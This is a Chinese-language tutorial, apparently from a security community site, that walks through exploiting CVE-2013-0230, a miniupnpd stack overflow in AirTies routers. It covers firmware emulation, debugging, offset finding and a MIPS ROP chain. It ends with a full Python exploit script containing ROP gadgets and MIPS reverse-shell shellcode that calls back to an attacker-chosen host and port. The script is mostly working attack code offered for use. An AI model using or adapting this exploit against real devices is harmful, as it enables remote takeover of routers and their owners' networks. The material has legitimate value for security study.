

路由器Exploit 开发

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本机环境

- Debian 9
- Qemu

概要

本文主要以CVE-2013-0230 漏洞为例，讲解路由器上缓冲区漏洞的exp 编写。

0x01 环境搭建

使用firmware-analysis-toolkit

[firmware-analysis-toolkit](#)是模拟固件和分析安全漏洞的工具。

该工具可以自动的解压固件和创建image 使用qemu 来模拟路由器。

在本文中也尝试过使用该工具，但是存在一些问题，无法正常启动，对于这种情况可以使用Debian MIPS 虚拟机来调试，或者也可以直接使用qemu-mipsel-static 来测试某个mips 程序

```
firmadyne git:(95a4030) ✖ python fat.py AirTies_RT-212TT_FW_1.2.0.23_FullImage.bin

      _ _ _ _ _
     /   \   \   \
    / _ _ \   \   \
   / _ _ \   \   \
  / _ _ \   \   \
 / _ _ \   \   \
/_ _ _ \   \   \

Welcome to the Firmware Analysis Toolkit - v0.2
Offensive IoT Exploitation Training - http://offensiveiotexploitation.com
By Attify - https://attify.com | @attifyme

[?] Enter the name or absolute path of the firmware you want to analyse : AirTies_RT-212TT_FW_1.2.0.23_FullImage.bin
[?] Enter the brand of the firmware : Airties
[+] Now going to extract the firmware. Hold on..
[+] Firmware : AirTies_RT-212TT_FW_1.2.0.23_FullImage.bin
[+] Brand : Airties
/mnt/hd/IoT/env/firmware-analysis-toolkit/firmadyne/sources/extractor/extractor.py -b Airties -sql 127.0.0.1 -n
p -nk "AirTies_RT-212TT_FW_1.2.0.23_FullImage.bin" images
[+] Database image ID : 1
[+] Identifying architecture
/mnt/hd/IoT/env/firmware-analysis-toolkit/firmadyne/scripts/getArch.sh ./images/1.tar.gz
[+] Architecture : mipseb
[+] Storing filesystem in database
[+] Building QEMU disk image
[+] Setting up the network connection, please standby
[+] Network interfaces : []
[+] Running the firmware finally
[+] command line : sudo /mnt/hd/IoT/env/firmware-analysis-toolkit/firmadyne/scratch/1/run.sh
[*] Press ENTER to run the firmware...
```




工具链

使用 buildroot 来构建


从[buildroot](#) 官网下载最新版，解压并配置相关设置

```
make menuconfig
```

选择 mips (big endian) 构架



kernel 这里选择的是 3.10.x



cross gdb 选上，或者也可以使用 gdb-multiarch (apt-get 直接安装，在使用时要set arch mips，本文使用gdb-multiarch)

i> Toolchain

Toolchain

Arrow keys navigate the menu. <Enter> selects submenus ---> (or empty submenus ----). Highlighted letters are hotkeys. Pressing <Y> selects a feature, while <N> excludes a feature. Press <Esc><Esc> to exit, <?> for Help, </> for Search. Legend: [*] feature is selected [] feature

^(-)

[] Enable Fortran support (NEW)
[] Enable compiler link-time-optimization support (NEW)
[] Enable compiler OpenMP support (NEW)
[] Enable graphite support (NEW)

*** Host GDB Options ***

[*] Build cross gdb for the host

[] TUI support (NEW)
[] Python support (NEW)
[] Simulator support (NEW)
GDB debugger Version (gdb 7.11.x) --->

*** Toolchain Generic Options ***

↓(+)

<Select>

< Exit >

< Help >

< Save >

< Load >

先知社区

make 直接编译

make -j2 (-j后面cpu 核心)

在根目录的output 文件夹里就是编译好的程序

网桥搭建

```
bunctl -t tap0 -u <user>
ifconfig tap0 up
brctl addbr br0
brctl addif br0 tap0
brctl addif br0 eth0
ifconfig br0 192.168.86.2
```

在启动Debian MIPS 虚拟机后，需要配置虚拟机的IP 来和主机通讯

Debian MIPS 虚拟机

从[这里](#) 下载qemu 镜像

网桥搭建

```
bunctl -t tap0 -u <user>
ifconfig tap0 up
brctl addbr br0
brctl addif br0 tap0
brctl addif br0 eth0
ifconfig br0 192.168.86.2
```

在启动Debian MIPS 虚拟机后，需要配置虚拟机的IP 来和主机通讯

启动命令

```
#!/usr/bin/env sh
```

```
qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 con
```

UART 调试

如果手边有路由器也可以使用UART 来调试路由器, 需要使用的是ttl转usb 模块.
拆开路由器后, 在电路板上一般会有四个插孔, 用于开发时期做调试时用,而在发行时期并没有把对应的调试电路去掉, 所以自己外接ttl转usb 模块或六合一模块来进行UART 调试。需要用到的接口主要有TX,RD,GND, 连接完成后

在Linux 系统上可以执行

```
sudo minicom --device /dev/ttyUSB0
```

随后, 重新接入电源则会出现路由器的启动信息
[具体可以参考](#)

0x02 CVE-2013-0230

预备知识

- 1. 调试时本文使用gdb 来调试, 插件使用, 当然也可以使用gef
- 2. mips 汇编基础, 有些汇编需要去了解下
- 3. 因本文调试的CVE 为栈溢出漏洞, 所以还需要去了解其原理
- 4. ida 使用基础

CVE-2013-0230

设置目标

下载到目标固件后, 使用binwalk 进行解压

```
记得先 sudo apt install squashfs-tools
```

cve-2013-0230 binwalk -Me AirTies_RT-212TT_FW_1.2.0.23_FullImage.bin

Scan Time: 2018-03-25 02:32:46

Target File: /mnt/hd/IoT/study/cve-2013-0230/AirTies_RT-212TT_FW_1.2.0.23_FullImage.bin

MD5 Checksum: 6144b1006a133033ae8c8d493b4d51e0

Signatures: 386

DECIMAL	HEXADECIMAL	DESCRIPTION
168	0xA8	uImage header, header size: 64 bytes, header CRC: 0x9676CDA2, created: 2011-12-20 15:24:53, image size: 74 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0xA425C1DA, OS: Linux, CPU: MIPS, image type: Script file, compression type: none, image name: "RT-212TT pre-install"
308	0x134	uImage header, header size: 64 bytes, header CRC: 0xB1F216F8, created: 2011-12-20 15:24:53, image size: 2727936 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0x1A4001C8, OS: Linux, CPU: MIPS, image type: Filesystem Image, compression type: lzma, image name: "RT-212TT RootFS"
372	0x174	Squashfs filesystem, big endian, lzma signature, version 3.0, size: 2727826 bytes, 480 inodes, blocksize: 65536 bytes, created: 2011-12-20 15:24:53
2728308	0x29A174	uImage header, header size: 64 bytes, header CRC: 0xB32162C3, created: 2011-12-20 15:15:02, image size: 758049 bytes, Data Address: 0x80010000, Entry Point: 0x80228000, data CRC: 0x78DC0A97, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "Linux Kernel Image"
2728372	0x29A1B4	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2287524 bytes
3494248	0x355168	uImage header, header size: 64 bytes, header CRC: 0x53F82450, created: 2010-07-28 09:13:40, image size: 53174 bytes, Data Address: 0x80010000, Entry Point: 0x80010000, data CRC: 0x7E042A69, OS: Linux, CPU: MIPS, image type: Firmware Image, compression type: lzma, image name: "U-Boot AIP svn 18155 for RT-206v31"

解压完后

```

➔ cve-2013-0230 cd _AirTies_RT-212TT_FW_1.2.0.23_FullImage.bin.extracted
➔ _AirTies_RT-212TT_FW_1.2.0.23_FullImage.bin.extracted 1
total 5904
-rw-r--r-- 1 lifeand lifeand 2727826 Mar 25 02:32 174.squashfs
-rw-r--r-- 1 lifeand lifeand 2287524 Mar 25 02:32 29A1B4
-rw-r--r-- 1 lifeand lifeand 819132 Mar 25 02:32 29A1B4.7z
-rw-r--r-- 1 lifeand lifeand 149320 Mar 25 02:32 3551A8
-rw-r--r-- 1 lifeand lifeand 53192 Mar 25 02:32 3551A8.7z
drwxr-xr-x 13 lifeand lifeand 4096 Dec 20 2011 squashfs-root
➔ _AirTies_RT-212TT_FW_1.2.0.23_FullImage.bin.extracted cd squashfs-root
➔ squashfs-root ls
bin dev etc lib mnt proc randisk root sbin sys tmp usr var webs
➔ squashfs-root █

```

该漏洞出现在miniupnpd 文件上

```

➔ bin file miniupnpd
miniupnpd: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically
  linked, interpreter /lib/ld-uClibc.so.0, stripped
➔ bin █

```

使用qemu-system-mips 启动虚拟机，配置ip

```

root@debian-mips:~/miniupnpd# ifconfig eth0 192.168.86.103
root@debian-mips:~/miniupnpd# ping 192.168.86.2
PING 192.168.86.2 (192.168.86.2) 56(84) bytes of data.
64 bytes from 192.168.86.2: icmp_req=1 ttl=64 time=5.46 ms
64 bytes from 192.168.86.2: icmp_req=2 ttl=64 time=0.678 ms
64 bytes from 192.168.86.2: icmp_req=3 ttl=64 time=0.804 ms
64 bytes from 192.168.86.2: icmp_req=4 ttl=64 time=0.597 ms
^C
--- 192.168.86.2 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3006ms
rtt min/avg/max/mdev = 0.597/1.885/5.463/2.067 ms
root@debian-mips:~/miniupnpd#

```

配置好后，通过scp 将miniupnpd 文件传输到虚拟机中，

```

root@debian-mips:~/miniupnpd# ldd miniupnpd
        libc.so.0 => /lib/libc.so.0 (0x778ad000)
        ld-uClibc.so.0 => /lib/ld-uClibc.so.0 (0x77898000)
root@debian-mips:~/miniupnpd# █

```

还需要将libc.so.0 和ld-uClibc.so.0 一起复制到虚拟机中，并放在lib 目录用，设置链接，保证miniupnpd 可以运行

启动miniupnpd 需要设置一些参数

```

root@debian-mips:~/miniupnpd# ./miniupnpd
Usage:
    ./miniupnpd [-f config_file] [-i ext_ifname] [-o ext_ip]
                [-a listening_ip] [-p port] [-d] [-L] [-U]
                [-u uuid] [-s serial] [-m model_number]
                [-t notify_interval] [-P pid_filename]
                [-B down up] [-w url]

c
aNotes:
t   There can be one or several listening_ips.
    Notify interval is in seconds. Default is 30 seconds.
ru  Default pid file is /var/run/miniupnpd.pid.
    With -d miniupnpd will run as a standard program.
n   -L sets packet log in pf on.
    -U causes miniupnpd to report system uptime instead of daemon uptime.
    -B sets bitrates reported by daemon in bits per second.
    -w sets the presentation url. Default is http address on port 80
root@debian-mips:~/miniupnpd# cat run
#!/usr/bin/env sh

./miniupnpd -f miniupnpd.conf -a 192.168.86.103 -u 52:54:00:12:34:56

ps -aux |grep miniupnpd


PID=`ps -aux |grep miniupnpd |awk '{print $2}'|head -1`
echo $PID
../gdbserver :1234 --attach $PID
root@debian-mips:~/miniupnpd#

```

这里写了个方便调试的脚本run, 并且开启gdbserver, 启动远程调试服务

IDA 逆向分析

使用ida 打开miniupnpd 文件, 来到ExecuteSoapAction 处



```

addiu    $s0, $sp, 0x838+var_820
la       $t9, memset
move     $a0, $s0
move     $a1, $zero
jalr     $t9 ; memset
li       $a2, 0x800
lw       $gp, 0x838+var_828($sp)
subu     $a2, $s5, $s1
la       $t9, memcp
move     $a1, $s4
addiu    $a2, -1
jalr     $t9 ; memcp
move     $a0, $s0
lw       $gp, 0x838+var_828($sp)

```

可以清楚的看到memcpy 函数调用, 调用memcpy 过程中将a1 的数据不加限制的复制到a0 (栈上), 由此, 经典的栈溢出发生

远程调试

在虚拟机中运行run 脚本, 在主机上~/gdbinit 中加入

```

set architecture mips
target remote 192.168.86.103:1234

```

当使用gdb-multiarch 时, 自动执行.gdbinit 脚本内容

```

0x4c956777 in ?? ()
pwndbg: loaded 160 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
'context': Print out the current register, instruction, and stack context.

    Accepts subcommands 'reg', 'disasm', 'code', 'stack', 'backtrace', and 'arg
.
Exception occurred: context: unsupported operand type(s) for +: 'NoneType' and '
t' (<class 'TypeError'>)
For more info invoke `set exception-verbose on` and rerun the command
pwndbg> c
Continuing.
[]

root@debian-mips:~/miniupnpd#
root@debian-mips:~/miniupnpd#
root@debian-mips:~/miniupnpd# ./run
warning: bad ps syntax, perhaps a bogus '-'?
See http://gitorious.org/procps/procps/blobs/master/Documentation/FAQ
root      2416  0.0  0.2   580   252 ?        Ss   19:03   0:00 ./miniupnpd -f
miniupnpd.conf -a 192.168.86.103 -u 52:54:00:12:34:56
root      2418  0.0  0.7   3716   868 tty1    S+   19:03   0:00 grep miniupnpd
warning: bad ps syntax, perhaps a bogus '-'?
See http://gitorious.org/procps/procps/blobs/master/Documentation/FAQ
2416
Attached; pid = 2416
Listening on port 1234
Remote debugging from host 192.168.86.2

```



gdb 连上后运行触发脚本

```
import urllib2
```

```
payload = 'A'*2500
```

```
#payload = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7
```

```
#payload = 'A' * 2076
```

```
#payload += 'BBBB'
```

```
soap_headers = {
    'SOAPAction': "n:schemas-upnp-org:service:WANIPConnection:1#" + payload,
}
```

```
soap_data = """
```

```
<?xml version='1.0' encoding="UTF-8"?>
```

```
<SOAP-ENV:Envelope
```

```
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
```

```
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
```

```
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
```

```
>
```

```
<SOAP-ENV:Body>
```

```
<ns1:action xmlns:ns1="urn:schemaas-upnp-org:service:WANIPConnection:1" SOAP-ENC:root="1">
```

```
</ns1:action>
```

```
</SOAP-ENV:Body>
```

```
</SOAP-ENV:Envelope>
```

```
"""
```

```
req = urllib2.Request("http://192.168.86.103:5555", soap_data, soap_headers)
```

```
res = urllib2.urlopen(req)
```

脚本运行后，程序崩溃

```
[ STACK ]
<Could not read memory at 0x98759c7f>
[ BACKTRACE ]
f 0 41414141
Program received signal SIGSEGV
pwndbg>
```

返回地址已经被覆盖为0x41414141, 使用pattern 工具进一步来确定栈的大小

```
pattern 2500
```

将payload 改为生成的字符串

重新运行

```
[ STACK ]
<Could not read memory at 0xc882b87f>
[ BACKTRACE ]
f 0 43327243
Program received signal SIGSEGV
pwndbg>
```

确定栈大小2076

```
cve-2013-0230 pattern 0x43327243
Pattern 0x43327243 first occurrence at position 2076 in pattern
```

在0x404f44 处下断点，断下来后，查看a0,a1 的情况


```

[ REGISTERS ]
*V0 0x7fea0948 ← 0x0
*V1 0x41
*A0 0x7fea1148 → 0x77a6ca70 ← lbu $v1, ($a0)
*A1 0xb72139 ← 0x41414141 ('AAAA')
*A2 0x8c2
*A3 0x7fea1148 → 0x77a6ca70 ← lbu $v1, ($a0)
*T0 0x0
*T1 0x0
*T2 0x401959 ← 0x536f61
T3 0x77aac144 → 0x77a48000 ← 0x7f454c46
*T4 0x77a4b42c ← break 0, 0x4d
*T5 0x1bb
*T6 0xab94a30
T7 0x77a4d16c ← syscall 0x17d1d
T8 0x77a4987c ← nop
*T9 0x77a6bd20 ← slti $t0, $a2, 8
*S0 0x7fea0948 ← 0x0
*S1 0xb72138 ← 0x23414141 ('#AAA')
*S2 0x423478 ← 0x1
*S3 0x10
*S4 0xb72139 ← 0x41414141 ('AAAA')
*S5 0xb729fb ← 0x22555446 ('"UTF')
*S6 0xb72070 ← 0x7
S7 0x7fea1a50 → 0xb72070 ← 0x7
*S8 0x0
*FP 0x7fea1168 ← 0x8
*SP 0x7fea0930 ← 0x0
*PC 0x404f44 (ExecuteSoapAction+280) ← jalr $t9

[ DISASM ]
► 0x404f44 <ExecuteSoapAction+280> jalr $t9
0x404f48 <ExecuteSoapAction+284> move $a0, $s0
0x404f4c <ExecuteSoapAction+288> lw $gp, 0x10($sp)
0x404f50 <ExecuteSoapAction+292> move $a2, $s0
0x404f54 <ExecuteSoapAction+296> lw $a1, -0x7fe0($gp)
0x404f58 <ExecuteSoapAction+300> lw $t9, -0x7edc($gp)
0x404f5c <ExecuteSoapAction+304> addiu $a1, $a1, 0x6c4

```

可以看到a1 指向'AAA...'

```

pwndbg> x/20gx 0xb72139
0xb72139: 0x4141414141414141 0x4141414141414141
0xb72149: 0x4141414141414141 0x4141414141414141
0xb72159: 0x4141414141414141 0x4141414141414141
0xb72169: 0x4141414141414141 0x4141414141414141
0xb72179: 0x4141414141414141 0x4141414141414141
0xb72189: 0x4141414141414141 0x4141414141414141
0xb72199: 0x4141414141414141 0x4141414141414141
0xb721a9: 0x4141414141414141 0x4141414141414141
0xb721b9: 0x4141414141414141 0x4141414141414141
0xb721c9: 0x4141414141414141 0x4141414141414141

```

a0 到sp 的大小为2072, 符合我们所计算的溢出栈的大小

```

type help; copy; ignore; created;
>>> hex(0x7fea1148-0x7fea0930)
'0x818'
>>> 0x818
2072

```

0x03 ROP链

我们可以控制 ra, s0,s1,s2,s3,s4,s5,s6 寄存器, 由于mips 构架的CPU 有两处缓存, cpu 分别从code 缓存和 data 缓存来获取指令和输入的数据 为此我们需要处理缓存问题, 清除缓存。Airties 路由器不使用ASLR , libc 的地址不变

我们需要通过调用sleep 函数来刷新缓存的问题, 随后返回到shellcode 去执行。
这里使用ida 插件mipsrop 来查找一些gadget

1 查找"li \$a0, 1"
用ida 载入libc.so.0 , edit->plugins->MIPS ROP Finder 来初始化mipsrop 插件

```
mipsrop.fine("li $a0, 1")
```

Python>mipsrop.find("li \$a0,1")

Address	Action	Control Jump
0x0001F138	li \$a0,1	jalr \$s3
0x00036860	li \$a0,1	jalr \$s1
0x00017B1C	li \$a0,1	jr 0x28+var_8(\$sp)
0x0002FE98	li \$a0,1	jr 0x20+var_4(\$sp)
0x000344C4	li \$a0,1	jr 0x70+var_8(\$sp)
0x00035604	li \$a0,1	jr 0x70+var_8(\$sp)

这里选择地址0x00036860 处的gadget

```
.text:00036860      li      $a0, 1
.text:00036864      move     $t9, $s1
.text:00036868      jalr     $t9 ; sub_36510
.text:0003686C      ori      $a1, $s0, 2
.text:00036870      ori      $a1, $s0, 2
```

2
通过miprop.tails() 来找到有用的syscall

Python>mipsrop.tails()

Address	Action	Control Jump
0x0001636C	move \$t9,\$s1	jr \$s1

```
.text:0001636C      move     $t9, $s1
.text:00016370      lw       $ra, 0x28+var_4($sp)
.text:00016374      lw       $s2, 0x28+var_8($sp)
.text:00016378      lw       $s1, 0x28+var_C($sp)
.text:0001637C      lw       $s0, 0x28+var_10($sp)
.text:00016380      jr       $t9
.text:00016384      addiu    $sp, 0x28
```

找到一处通过s1 传入地址, 跳到该地址调用的gadget

3
找到存放shellcode 的地方

Python>mipsrop.stackfinders()

Address	Action	Control Jump
0x00008F84	addiu \$a1,\$sp,0x158+var_A8	jalr \$s1
0x0000E268	addiu \$a2,\$sp,0x88+var_60	jalr \$s1
0x0001CC94	addiu \$a0,\$sp,0x58+var_40	jalr \$s0
0x0001D19C	addiu \$a0,\$sp,0x60+var_48	jalr \$s3
0x00023240	addiu \$a0,\$sp,0x48+var_20	jalr \$s0
0x00023248	addiu \$a0,\$sp,0x48+var_20	jalr \$s1
0x00028D3C	addiu \$s0,\$sp,0xD0+var_B0	jalr \$s6
0x000290AC	addiu \$v1,\$sp,0x108+var_E8	jalr \$s1
0x000379EC	addiu \$a0,\$sp,0x80+var_60	jalr \$s1
0x00037AA8	addiu \$a0,\$sp,0x80+var_60	jalr \$s1
0x00037B58	addiu \$a0,\$sp,0x80+var_60	jalr \$s0
0x00037EE8	addiu \$a0,\$sp,0x68+var_48	jalr \$s0
0x00038148	addiu \$a0,\$sp,0x68+var_48	jalr \$s0
0x00038208	addiu \$a0,\$sp,0x68+var_48	jalr \$s0
0x000382C8	addiu \$a0,\$sp,0x68+var_48	jalr \$s0
0x00038388	addiu \$a0,\$sp,0x68+var_48	jalr \$s0

```

    .text:00028D3C      addiu    $s0, $sp, 0xD0+var_B0
    .text:00028D40      lw       $a0, 0($s2)
    .text:00028D44      move     $a1, $s1
    .text:00028D48      move     $a2, $s4
    .text:00028D4C      move     $t9, $s6
    .text:00028D50      jalr     $t9
    .text:00028D54      move     $a3, $s0

```

4

gadget 将shellcode 的地址放入s0 ,为此要找到一处将s0 放入t9 的指令

```
Python>mipsrop.find("move $t9, $s0")
```

Address	Action	Control Jump
0x0000D6DC	move \$t9,\$s0	jalr \$s0
0x0000F378	move \$t9,\$s0	jalr \$s0
0x000113B4	move \$t9,\$s0	jalr \$s0
0x000113D4	move \$t9,\$s0	jalr \$s0
0x000113F4	move \$t9,\$s0	jalr \$s0
0x00011414	move \$t9,\$s0	jalr \$s0

```

    .text:0001B19C      move     $t9, $s0 |
    .text:0001B1A0      jalr     $t9
    .text:0001B1A4      nop

```

5 找到libc 地址

在debian mips 虚拟机上执行

```
sysctl -w kernel.randomize_va_space = 0 来禁用ASLR
```

通过/proc/PID/maps 来找到libc 的地址

```

proot@debian-mips:~# ps aux |grep miniupnpd
root      2669  0.0  0.2   580   252 ?        ts   08:55   0:00 ./miniupnpd -f
miniupnpd.conf -a 192.168.86.103 -u 52:54:00:12:34:56
root      2700  0.0  0.6   3716   864 tty2     S+   08:56   0:00 grep miniupnpd
root@debian-mips:~# less /proc/2669/maps
00400000-00413000 r-xp 00000000 08:01 1305622    /root/miniupnpd/miniupnpd
00423000-00424000 rw-p 00013000 08:01 1305622    /root/miniupnpd/miniupnpd
00424000-00426000 rwxp 00000000 00:00 0          [heap]
77f92000-77fcf000 r-xp 00000000 08:01 787635     /lib/libc.so.0
77fcf000-77fde000 ---p 00000000 00:00 0
77fde000-77fdf000 rw-p 0003c000 08:01 787635     /lib/libc.so.0
77fdf000-77fe3000 rw-p 00000000 00:00 0
77fe3000-77fe8000 r-xp 00000000 08:01 787637     /lib/ld-uClibc.so.0
77ff6000-77ff7000 rw-p 00000000 00:00 0
77ff7000-77ff8000 rw-p 00004000 08:01 787637     /lib/ld-uClibc.so.0
7ffd6000-7fff7000 rwxp 00000000 00:00 0          [stack]
7fff7000-7fff8000 r-xp 00000000 00:00 0          [vdso]

```

libc 的基址为0x77f92000

sleep 地址 0x35620

ra_1 = 1.gadget

s1 = 2.gadget

ra_2 = 3.gadget

s6 = 4.gadget

s2 = s6 = 4.gadget

于是payload 构造如下

2052 bytes junk + s1 + 16 bytes junk + s6 + ra_1 + 28 bytes junk + sleep + 40 bytes junk + s2 + ra_2 + 32 bytesjunks + shellcode

0x04 最终EXP

```
#!/usr/bin/env python

import urllib2
from string import join
from argparse import ArgumentParser
from struct import pack
from socket import inet_aton

BYTES = 4

def hex2str(value, size=BYTES):
    data = ""

    for i in range(0, size):
        data += chr((value >> (8*i)) & 0xFF)

    data = data[::-1]

    return data

arg_parser = ArgumentParser(prog="miniupnpd_mips.py", description="MiniUPnPd \
    CVE-2013-0230 Reverse Shell exploit for AirTies \
    RT Series, start netcat on lhost:lport")
#arg_parser.add_argument("--target", required=True, help="Target IP address")
arg_parser.add_argument("--lhost", required=True, help="The IP address\
    which nc is listening")
arg_parser.add_argument("--lport", required=True, type=int, help="The\
    port which nc is listening")

args = arg_parser.parse_args()

libc_base = 0x77f92000
ra_1 = hex2str(libc_base + 0x36860)    # ra = 1. gadget
'''
.text:00036860          li      $a0, 1
.text:00036864          move   $t9, $s1
.text:00036868          jalr   $t9 ; sub_36510
.text:0003686C          ori    $a1, $s0, 2
'''
s1 = hex2str(libc_base + 0x1636C)    # s1 = 2. gadget
'''
.text:0001636C          move   $t9, $s1
.text:00016370          lw     $ra, 0x28+var_4($sp)
.text:00016374          lw     $s2, 0x28+var_8($sp)
.text:00016378          lw     $s1, 0x28+var_C($sp)
.text:0001637C          lw     $s0, 0x28+var_10($sp)
.text:00016380          jr     $t9
.text:00016384          addiu  $sp, 0x28
'''
sleep = hex2str(libc_base + 0x35620)    # sleep function
ra_2 = hex2str(libc_base + 0x28D3C)    # ra = 3. gadget
'''
.text:00028D3C          addiu  $s0, $sp, 0xD0+var_B0
.text:00028D40          lw     $a0, 0($s2)
.text:00028D44          move   $a1, $s1
.text:00028D48          move   $a2, $s4
.text:00028D4C          move   $t9, $s6
.text:00028D50          jalr   $t9
.text:00028D54          move   $a3, $s0
'''
s6 = hex2str(libc_base + 0x1B19C)    # ra = 4.gadget
'''
.text:0001B19C          move   $t9, $s0
.text:0001B1A0          jalr   $t9
```

```

.text:0001B1A4          nop
, , ,

s2 = s6
lport = pack('>H', args.lport)
lhost = inet_aton(args.lhost)

shellcode = join([
    "\x24\x11\xff\xff"
    "\x24\x04\x27\x0f"
    "\x24\x02\x10\x46"
    "\x01\x01\x01\x0c"
    "\x1e\x20\xff\xff"
    "\x24\x11\x10\x2d"
    "\x24\x02\x0f\xa2"
    "\x01\x01\x01\x0c"
    "\x1c\x40\xff\xff"
    "\x24\x0f\xff\xfa"
    "\x01\xe0\x78\x27"
    "\x21\xe4\xff\xfd"
    "\x21\xe5\xff\xfd"
    "\x28\x06\xff\xff"
    "\x24\x02\x10\x57"
    "\x01\x01\x01\x0c"
    "\xaf\xa2\xff\xff"
    "\x8f\xa4\xff\xff"
    "\x34\x0f\xff\xfd"
    "\x01\xe0\x78\x27"
    "\xaf\xaf\xff\xe0"
    "\x3c\x0e" + lport +
    "\x35\xce" + lport +
    "\xaf\xae\xff\xe4"
    "\x3c\x0e" + lhost[:2] +
    "\x35\xce" + lhost[2:4] +
    "\xaf\xae\xff\xe6"
    "\x27\xa5\xff\xe2"
    "\x24\x0c\xff\xef"
    "\x01\x80\x30\x27"
    "\x24\x02\x10\x4a"
    "\x01\x01\x01\x0c"
    "\x24\x0f\xff\xfd"
    "\x01\xe0\x78\x27"
    "\x8f\xa4\xff\xff"
    "\x01\xe0\x28\x21"
    "\x24\x02\x0f\xdf"
    "\x01\x01\x01\x0c"
    "\x24\x10\xff\xff"
    "\x21\xef\xff\xff"
    "\x15\xf0\xff\xfa"
    "\x28\x06\xff\xff"
    "\x3c\x0f\x2f\x2f"
    "\x35\xef\x62\x69"
    "\xaf\xaf\xff\xec"
    "\x3c\x0e\x6e\x2f"
    "\x35\xce\x73\x68"
    "\xaf\xae\xff\xf0"
    "\xaf\xa0\xff\xf4"
    "\x27\xa4\xff\xec"
    "\xaf\xa4\xff\xf8"
    "\xaf\xa0\xff\xff"
    "\x27\xa5\xff\xf8"
    "\x24\x02\x0f\xab"
    "\x01\x01\x01\x0c"
], ' ')
payload = 'A'*2052 + s1 + 'A'*(4*4) + s6 + ra_1 + 'A'*28 + sleep + 'A'*40 + s2\
    + ra_2 + 'C'*32 #+ shellcode

soap_headers = {
    'SOAPAction': "n:schemas-upnp-org:service:WANIPConnection:1#" + payload,

```

```
}

soap_data = """
<?xml version='1.0' encoding="UTF-8"?>
<SOAP-ENV:Envelope
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
>
<SOAP-ENV:Body>
<ns1:action xmlns:ns1="urn:schemas-upnp-org:service:WANIPConnection:1"\
SOAP-ENC:root="1">
</ns1:action>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
"""

#try:
print "Exploiting..."
req = urllib2.Request("http://192.168.86.103:5555", soap_data, soap_headers)
urllib2.urlopen(req)
```

参考

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